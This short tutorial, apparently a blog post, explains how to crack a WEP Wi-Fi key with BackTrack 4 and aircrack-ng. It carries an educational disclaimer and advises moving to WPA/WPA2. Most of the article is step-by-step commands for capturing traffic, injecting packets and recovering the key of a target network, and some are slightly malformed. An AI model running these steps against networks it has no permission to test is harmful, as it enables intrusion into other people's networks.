This article is written for purely educational purposes. You may conduct this on your own network or with someone elses network with permission.
WEP has always been known to be full of flaws, this article will show you how to crack a WEP network in 3 minutes with BackTrack 4. The basis of this article is to inform readers that they should not use WEP encryption if they can. It is recommended that you use encryption keys like WPA/WPA2.
Requirements:
DVD Drive
A Compatible Network Card (Most Well Known Cards Are Supported)
Instructions:
*Instructions that are enclosed inside quotations and with CAPITALS require you to replace with actual data*
1. Download BackTrack 4 and burn onto a DVD
2. Boot into BackTrack 4 and start the GUI by typing “startx”
3. Open up a “Konsole” and type “airmon-ng”, remember the interface of your network card (usually wlan0)
4. Type “airodump-ng INTERFACE”
5. Write down the BSSID, ESSID, and channel of your target network.
6. Type “airodump-ng -w wep -c CHANNEL –bssid BSSID INTERFACE”
7. Open a new “Konsole” and type aireplay-ng -1 0 -a BSSID INTERFACE”
8. Open a new “Konsole” and type aireplay-ng -3 -b BSSID INTERFACE”
9. Wait until the data reaches 30000.
10. Type “aircrack-ng wep-01.cap INTERFACE”
Demonstration Video
